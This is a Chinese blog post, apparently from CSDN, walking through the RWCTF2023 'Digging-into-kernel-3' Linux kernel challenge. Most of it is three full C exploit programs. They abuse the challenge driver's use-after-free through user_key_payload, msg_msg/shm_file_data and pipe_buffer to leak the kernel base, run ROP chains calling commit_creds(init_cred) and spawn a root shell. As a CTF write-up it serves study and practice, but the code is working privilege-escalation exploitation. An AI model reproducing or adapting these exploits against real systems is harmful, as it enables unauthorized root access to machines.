• 【user_key_payload、msg_msg、pipe_buffer】再探RWCTF2023-Digging-into-kernel-3


    前言

    在之前的文章中,我利用 ldt_struct 去泄漏的内核基地址,但是在内核中还存在着一些结构体可以去泄漏内核基地址。

    user_key_payload 越界读泄漏内核基地址

    本题并没有开启 slab_freelist_random 保护,并且可以可以同时控制两个堆块,所以可以直接打。

    这里采用 user_key_payload 越界读被释放的 user_key_payload 去泄漏内核基地址。当然你也可以选择读其他的,但是这题好像不能打开 /dev/ptmx,然后我看又有这个文件,权限也有,但是不知道为啥就是打不开。

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
    29. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    30. size_t init_cred = 0xffffffff82850580;
    31. size_t commit_creds = 0xffffffff81095c30;
    32. size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
    33. size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
    34. struct node {
    35. int idx;
    36. int size;
    37. char* ptr;
    38. };
    39. void err_exit(char *msg)
    40. {
    41. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    42. sleep(5);
    43. exit(EXIT_FAILURE);
    44. }
    45. void info(char *msg)
    46. {
    47. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    48. }
    49. void hexx(char *msg, size_t value)
    50. {
    51. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    52. }
    53. void binary_dump(char *desc, void *addr, int len) {
    54. uint64_t *buf64 = (uint64_t *) addr;
    55. uint8_t *buf8 = (uint8_t *) addr;
    56. if (desc != NULL) {
    57. printf("\033[33m[*] %s:\n\033[0m", desc);
    58. }
    59. for (int i = 0; i < len / 8; i += 4) {
    60. printf(" %04x", i * 8);
    61. for (int j = 0; j < 4; j++) {
    62. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    63. }
    64. printf(" ");
    65. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    66. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    67. }
    68. puts("");
    69. }
    70. }
    71. /* bind the process to specific core */
    72. void bind_core(int core)
    73. {
    74. cpu_set_t cpu_set;
    75. CPU_ZERO(&cpu_set);
    76. CPU_SET(core, &cpu_set);
    77. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    78. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    79. }
    80. int rw_fd;
    81. int seq_fd;
    82. void add(int idx, int size, char* ptr)
    83. {
    84. struct node n = { .idx = idx, .size = size, .ptr = ptr };
    85. ioctl(rw_fd, 0xDEADBEEF, &n);
    86. // if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    87. }
    88. void dele(int idx)
    89. {
    90. struct node n = { .idx = idx };
    91. ioctl(rw_fd, 0xC0DECAFE, &n);
    92. }
    93. int key_alloc(char *description, char *payload, size_t plen)
    94. {
    95. return syscall(__NR_add_key, "user", description, payload, plen,
    96. KEY_SPEC_PROCESS_KEYRING);
    97. }
    98. int key_read(int keyid, char *buffer, size_t buflen)
    99. {
    100. return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
    101. }
    102. int key_revoke(int keyid)
    103. {
    104. return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
    105. }
    106. int main(int argc, char** argv, char** env)
    107. {
    108. bind_core(0);
    109. int res;
    110. size_t kernel_offset;
    111. size_t buf[0x100] = { 0 };
    112. rw_fd = open("/dev/rwctf", O_RDWR);
    113. if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    114. // freelist 0x40 : obj0 -> obj1 -> obj2
    115. add(0, 0x40, buf); // obj0
    116. add(1, 0x40, buf); // obj1
    117. // freelist 0x40 : obj2
    118. dele(1);
    119. dele(0);
    120. // freelist 0x40 : obj0 -> obj1 -> obj2
    121. int k0 = key_alloc("pwner0", buf, 0x40-0x18); // user_key_payload0 : obj1
    122. int k1 = key_alloc("pwner1", buf, 0x40-0x18); // user_key_payload1 : obj2
    123. // freelist 0x40 : obj0
    124. key_revoke(k1);
    125. // freelist 0x40 : obj2 -> obj0
    126. dele(1);
    127. // freelist 0x40 : obj1 -> obj2 -> obj0
    128. buf[0] = buf[1] = 0;
    129. buf[2] = 0x100*8;
    130. add(1, 0x40 , buf);
    131. // freelist 0x40 : obj2 -> obj0
    132. res = key_read(k0, buf, 0x100*8);
    133. kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
    134. binary_dump("user_key_payload data", buf, 0x100);
    135. hexx("kernel_offset", kernel_offset);
    136. puts("Hijack the Program Execution Flow");
    137. pop_rdi += kernel_offset;
    138. init_cred += kernel_offset;
    139. commit_creds += kernel_offset;
    140. swapgs_kpti += kernel_offset;
    141. add_rsp_xx += kernel_offset;
    142. hexx("add_rsp_xx", add_rsp_xx);
    143. add(0, 0x20, buf);
    144. dele(0);
    145. seq_fd = open("/proc/self/stat", O_RDONLY);
    146. dele(0);
    147. add(0, 0x20, &add_rsp_xx);
    148. asm(
    149. "mov r15, pop_rdi;"
    150. "mov r14, init_cred;"
    151. "mov r13, commit_creds;"
    152. "mov r12, swapgs_kpti;"
    153. );
    154. read(seq_fd, buf, 8);
    155. hexx("UID", getuid());
    156. system("/bin/sh");
    157. return 0;
    158. }

    msg_msg+shm_file_data 泄漏内核基地址

    这里最开始我也是想利用 msg_msg 去泄漏内核基地址的,但是我一直在考虑越界读,而忽略了这里我们是有一个任意大小的 UAF,所以我们可以劫持一个大小为 0x20 的 msg_segment,然后将其分配到 shm_file_data,这样就可以直接读取 init_ipc_ns 了。

    这里为什么是 shm_file_data 呢?因为 msg_segment 的第一个字段是 next,而在进行 msgrcv 时,终止读取的条件就是 msg_segment->next 为空,而 shm_file_data 刚好满足这个条件。

    这里我也尝试分配到 seq_operations 结构体,但是其第一个字段为 single_start 不为 NULL,导致后面直接 panic。

    补个东西:在其他su战队的wp上看到的 特别要注意,由于内核关闭了CONFIG_CHECKPOINT_RESTORE,MSG_COPY无法使用 并且由于SElinux的开启,struct msg的security指针不能被破坏
    所以之前我越界读失败了,但是他并没有说是如何看出来内核关闭了CONFIG_CHECKPOINT_RESTORE

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #define INIT_IPC_NS 0xffffffff829ac6c0
    26. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    27. size_t init_cred = 0xffffffff82850580;
    28. size_t commit_creds = 0xffffffff81095c30;
    29. size_t add_rsp_xx = 0xFFFFFFFF812A9811;// FFFFFFFF813A193A;
    30. size_t swapgs_kpti = 0xFFFFFFFF81E00EF3;
    31. struct node {
    32. int idx;
    33. int size;
    34. char* ptr;
    35. };
    36. void err_exit(char *msg)
    37. {
    38. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    39. sleep(5);
    40. exit(EXIT_FAILURE);
    41. }
    42. void info(char *msg)
    43. {
    44. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    45. }
    46. void hexx(char *msg, size_t value)
    47. {
    48. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    49. }
    50. void binary_dump(char *desc, void *addr, int len) {
    51. uint64_t *buf64 = (uint64_t *) addr;
    52. uint8_t *buf8 = (uint8_t *) addr;
    53. if (desc != NULL) {
    54. printf("\033[33m[*] %s:\n\033[0m", desc);
    55. }
    56. for (int i = 0; i < len / 8; i += 4) {
    57. printf(" %04x", i * 8);
    58. for (int j = 0; j < 4; j++) {
    59. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    60. }
    61. printf(" ");
    62. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    63. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    64. }
    65. puts("");
    66. }
    67. }
    68. /* bind the process to specific core */
    69. void bind_core(int core)
    70. {
    71. cpu_set_t cpu_set;
    72. CPU_ZERO(&cpu_set);
    73. CPU_SET(core, &cpu_set);
    74. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    75. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    76. }
    77. int rw_fd;
    78. int seq_fd;
    79. void add(int idx, int size, char* ptr)
    80. {
    81. struct node n = { .idx = idx, .size = size, .ptr = ptr };
    82. ioctl(rw_fd, 0xDEADBEEF, &n);
    83. // if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    84. }
    85. void dele(int idx)
    86. {
    87. struct node n = { .idx = idx };
    88. ioctl(rw_fd, 0xC0DECAFE, &n);
    89. }
    90. struct msg_buf {
    91. long m_type;
    92. char m_text[1];
    93. };
    94. struct msg_header {
    95. void* l_next;
    96. void* l_prev;
    97. long m_type;
    98. size_t m_ts;
    99. void* next;
    100. void* security;
    101. };
    102. int main(int argc, char** argv, char** env)
    103. {
    104. bind_core(0);
    105. int qid;
    106. int shm_id;
    107. char* shm_addr;
    108. size_t kernel_offset;
    109. size_t buf[0x620] = { 0 };
    110. struct msg_buf* msg = (struct msg_buf*)buf;
    111. rw_fd = open("/dev/rwctf", O_RDWR);
    112. if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    113. add(0, 0x20, buf);
    114. dele(0);
    115. qid = msgget(IPC_PRIVATE, 0666|IPC_CREAT);
    116. msg->m_type = 1;
    117. memset(msg->m_text, 'A', 0x1020);
    118. msgsnd(qid, msg, 0x1020-0x30-0x8, 0);
    119. dele(0);
    120. if ((shm_id = shmget(IPC_PRIVATE, 0x1000, 0600)) == -1) err_exit("shmget");
    121. if ((shm_addr = shmat(shm_id, NULL, 0)) == -1) err_exit("shmat");
    122. msgrcv(qid, buf, 0x1020-0x30-8, 0, IPC_NOWAIT|MSG_NOERROR);
    123. binary_dump("msg data", (char*)buf+0xfd0, 0x100);
    124. kernel_offset = *(size_t*)((char*)buf+0xfd8) - INIT_IPC_NS;
    125. hexx("kernel_offset", kernel_offset);
    126. puts("Hijack the Program Execution Flow");
    127. pop_rdi += kernel_offset;
    128. init_cred += kernel_offset;
    129. commit_creds += kernel_offset;
    130. swapgs_kpti += kernel_offset;
    131. add_rsp_xx += kernel_offset;
    132. hexx("add_rsp_xx", add_rsp_xx);
    133. add(0, 0x20, buf);
    134. dele(0);
    135. seq_fd = open("/proc/self/stat", O_RDONLY);
    136. dele(0);
    137. add(0, 0x20, &add_rsp_xx);
    138. asm(
    139. "mov r15, pop_rdi;"
    140. "mov r14, init_cred;"
    141. "mov r13, commit_creds;"
    142. "mov r12, swapgs_kpti;"
    143. );
    144. read(seq_fd, buf, 8);
    145. hexx("UID", getuid());
    146. system("/bin/sh");
    147. return 0;
    148. }

    pipe_buffer 劫持程序执行流

    这里是参考 ctf-wiki 上的做法,并且假设开启了一些保护,比如 SLAB_FREELIST_HARDENED,CONFIG_RANDOMIZE_KSTACK_OFFSET。

    这时也是采用 user_key_payload 越界读去泄漏内核基地址。但是我发现虽然 ctf-wiki 上前面是利用的堆喷搞的,但是最后劫持 pipe_buffer 时还是假设的没开相应的保护,所以直接单纯的利用堆喷去拿到 UAF 堆块给 user_key_payload 结构体。

    然后的关键点就是,通过 pipe_buffer 劫持程序执行流其实就是伪造其 pipe_buf_operations 函数表,但是题目开启了 smap 保护,所以我们又不能直接将函数表伪造在用户空间,那么我们伪造在那里呢?

    所以这里我们需要一个内核空间,要求这块空间可控并且知道其地址。这里我们选择 pipe_buffer。我们可以通过让 pipe_inode_info 与 user_key_payload 占用同一个堆块去泄漏 pipe_buffer 的地址,这里要注意的是 pipe_inode_info 会将 user_key_payload 的 datalen 字段覆盖为 0xffff。

    当然这里你也可以用 user_key_payload 越界读去泄漏 pipe_buffer 的地址,只是这里可能需要堆喷一下 pipe_buffer,但是可能会比较难,因为我们还有控制 pipe_buffer,所以这里命中的机会可能不是很高。

    这里我用堆喷 user_key_payload 去泄漏内核基地址,发现非常不稳定,但是 ctf-wiki 上的脚本是稳定的。所以这里我就不堆喷了......

     这里我们选择劫持 pipe_buf_operations->release,当我们关闭管道两端时就会调用这个函数。

    1. struct pipe_buf_operations {
    2. int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
    3. void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    4. bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
    5. bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
    6. };

    可以看到执行 release 时,rdi 指向的是 pipe_inode_info,rsi 指向的时 pipe_buffer,这里我们选择将内核栈迁移到 pipe_buffer 上,之所以不迁移到 pipe_inode_info 中是因为其里面保存这 pipe_buffer 指针,且其大小只有 192,所以你写的时候会覆盖 pipe_buffer 指针。

    然后这里的 gadget 给我一顿好好,最后直接用 ctf-wiki 上面的,实在没找到......

    最后这里直接调用 system("/bin/sh") 会出现段错误,没探究原因,大家可以自己调试一些。我直接使用的 execve 函数去启一个 shell。

    exp 如下:

    1. #ifndef _GNU_SOURCE
    2. #define _GNU_SOURCE
    3. #endif
    4. #include
    5. #include
    6. #include
    7. #include
    8. #include
    9. #include
    10. #include
    11. #include
    12. #include
    13. #include
    14. #include
    15. #include
    16. #include
    17. #include
    18. #include
    19. #include
    20. #include
    21. #include
    22. #include
    23. #include
    24. #include
    25. #include
    26. #include
    27. #include
    28. #define USER_FREE_PAYLOAD_RCU 0xFFFFFFFF813D8210
    29. size_t pop_rdi = 0xffffffff8106ab4d; // pop rdi ; ret
    30. size_t init_cred = 0xffffffff82850580;
    31. size_t commit_creds = 0xffffffff81095c30;
    32. size_t swapgs_kpti = 0xFFFFFFFF81E00F01;
    33. size_t push_rsi_pop_rsp_pop_3 = 0xffffffff81250c9d; // PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET
    34. struct node {
    35. int idx;
    36. int size;
    37. char* ptr;
    38. };
    39. void err_exit(char *msg)
    40. {
    41. printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    42. sleep(5);
    43. exit(EXIT_FAILURE);
    44. }
    45. void info(char *msg)
    46. {
    47. printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
    48. }
    49. void hexx(char *msg, size_t value)
    50. {
    51. printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
    52. }
    53. void binary_dump(char *desc, void *addr, int len) {
    54. uint64_t *buf64 = (uint64_t *) addr;
    55. uint8_t *buf8 = (uint8_t *) addr;
    56. if (desc != NULL) {
    57. printf("\033[33m[*] %s:\n\033[0m", desc);
    58. }
    59. for (int i = 0; i < len / 8; i += 4) {
    60. printf(" %04x", i * 8);
    61. for (int j = 0; j < 4; j++) {
    62. i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
    63. }
    64. printf(" ");
    65. for (int j = 0; j < 32 && j + i * 8 < len; j++) {
    66. printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
    67. }
    68. puts("");
    69. }
    70. }
    71. /* bind the process to specific core */
    72. void bind_core(int core)
    73. {
    74. cpu_set_t cpu_set;
    75. CPU_ZERO(&cpu_set);
    76. CPU_SET(core, &cpu_set);
    77. sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    78. printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
    79. }
    80. void get_root_shell()
    81. {
    82. hexx("UID", getuid());
    83. // system("/bin/sh");
    84. char *args[] = {"/bin/sh", NULL};
    85. execve("/bin/sh", args, NULL);
    86. }
    87. size_t user_cs, user_rflags, user_rsp, user_ss;
    88. void save_status()
    89. {
    90. asm(
    91. "mov user_cs, cs;"
    92. "mov user_ss, ss;"
    93. "mov user_rsp, rsp;"
    94. "pushf;"
    95. "pop user_rflags;"
    96. );
    97. info("Status saved successfully");
    98. }
    99. int rw_fd;
    100. int seq_fd;
    101. void add(int idx, int size, char* ptr)
    102. {
    103. struct node n = { .idx = idx, .size = size, .ptr = ptr };
    104. ioctl(rw_fd, 0xDEADBEEF, &n);
    105. // if (ioctl(rw_fd, 0xDEADBEEF, &n) < 0) info("Copy error in add function");
    106. }
    107. void dele(int idx)
    108. {
    109. struct node n = { .idx = idx };
    110. ioctl(rw_fd, 0xC0DECAFE, &n);
    111. }
    112. int key_alloc(char *description, char *payload, size_t plen)
    113. {
    114. return syscall(__NR_add_key, "user", description, payload, plen,
    115. KEY_SPEC_PROCESS_KEYRING);
    116. }
    117. int key_read(int keyid, char *buffer, size_t buflen)
    118. {
    119. return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
    120. }
    121. int key_revoke(int keyid)
    122. {
    123. return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
    124. }
    125. int main(int argc, char** argv, char** env)
    126. {
    127. bind_core(0);
    128. save_status();
    129. int key[2];
    130. int pipe_key;
    131. int pipe_fd[2];
    132. char des[100];
    133. size_t n;
    134. size_t kernel_offset;
    135. size_t pipe_buffer;
    136. size_t* buf;
    137. rw_fd = open("/dev/rwctf", O_RDWR);
    138. if (rw_fd < 0) err_exit("Failed to open /dev/rwctf");
    139. buf = (size_t*)mmap(NULL, 0x1000*16, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
    140. add(0, 0x40, buf);
    141. add(1, 0x40, buf);
    142. dele(1);
    143. dele(0);
    144. key[0] = key_alloc("pwn0", buf, 0x40-0x18);
    145. key[1] = key_alloc("pwn1", buf, 0x40-0x18);
    146. dele(1);
    147. buf[0] = buf[1] = 0;
    148. buf[2] = 0x100*8;
    149. add(1, 0x40, buf);
    150. key_revoke(key[1]);
    151. key_read(key[0], buf, 0x100*8);
    152. binary_dump("user_key_payload", buf, 0x100);
    153. kernel_offset = buf[6] - USER_FREE_PAYLOAD_RCU;
    154. hexx("kernel_offset", kernel_offset);
    155. add(0, 192, buf);
    156. add(1, 192, buf);
    157. dele(1);
    158. dele(0);
    159. pipe_key = key_alloc("pwnerer", buf, 192-0x18);
    160. if (pipe_key < 0) err_exit("key_alloc pipe_key");
    161. add(0, 1024, buf);
    162. dele(0);
    163. dele(1);
    164. pipe(pipe_fd);
    165. n = key_read(pipe_key, buf, 0xffff);
    166. hexx("key_read len", n);
    167. binary_dump("pipe_inode_info", buf, 192-0x18);
    168. pipe_buffer = buf[16];
    169. hexx("pipe_buffer addr", pipe_buffer);
    170. size_t rop[] = {
    171. 0,
    172. 0,
    173. pipe_buffer+0x18,
    174. pop_rdi+kernel_offset,
    175. push_rsi_pop_rsp_pop_3+kernel_offset,
    176. pop_rdi+kernel_offset,
    177. init_cred+kernel_offset,
    178. commit_creds+kernel_offset,
    179. swapgs_kpti+kernel_offset,
    180. 0,
    181. 0,
    182. get_root_shell,
    183. user_cs,
    184. user_rflags,
    185. user_rsp,
    186. user_ss
    187. };
    188. binary_dump("ROP chain", rop, sizeof(rop));
    189. memcpy(buf, rop, sizeof(rop));
    190. dele(0);
    191. add(0, 1024, buf);
    192. close(pipe_fd[1]);
    193. close(pipe_fd[0]);
    194. return 0;
    195. }

    效果如下,三个脚本均可成功提权:

    总结

    其实 ldt_struct、user_key_payload、msg_msg 是比较常用的实现越界读和任意读的结构体,其中 ldt_struct 大小固定(0x10 slub/0x20 slab),而 user_key_payload 与 msg_msg 的大小是不固定的,但是有固定的头字段。

    然后劫持程序执行流主要就是 seq_operations、tty_struct、pipe_buffer等结构体,目前我就主要接触到这三个。

    然后用于泄漏内核基地址的结构体主要有 shm_file_data、user_key_payload、seq_operations、tty_struct 等等结构体,目前主要接触到这些。其中 user_key_payload 是得将 key 销毁后,其 rcu.func 会被赋值为 user_free_payload_rcu() 以此来进行泄漏。

  • 相关阅读:
    定时器相关方法
    java面试题:java中的单例设计模式及两种实现方法的代码举例
    evnoy协议转换关键日志
    【ubuntu】开机后ROS程序自启动
    tensorflow2.x --------------------DenseNet-----------------------------
    IT入门知识大纲(0/10)
    ​ yarn通过日志聚合将作业日志存储在HDFS中
    Facebook广告账户被封?最全防封及申诉指南
    作业 day6
    ES6中的Promise基础讲解
  • 原文地址:https://blog.csdn.net/qq_61670993/article/details/133580347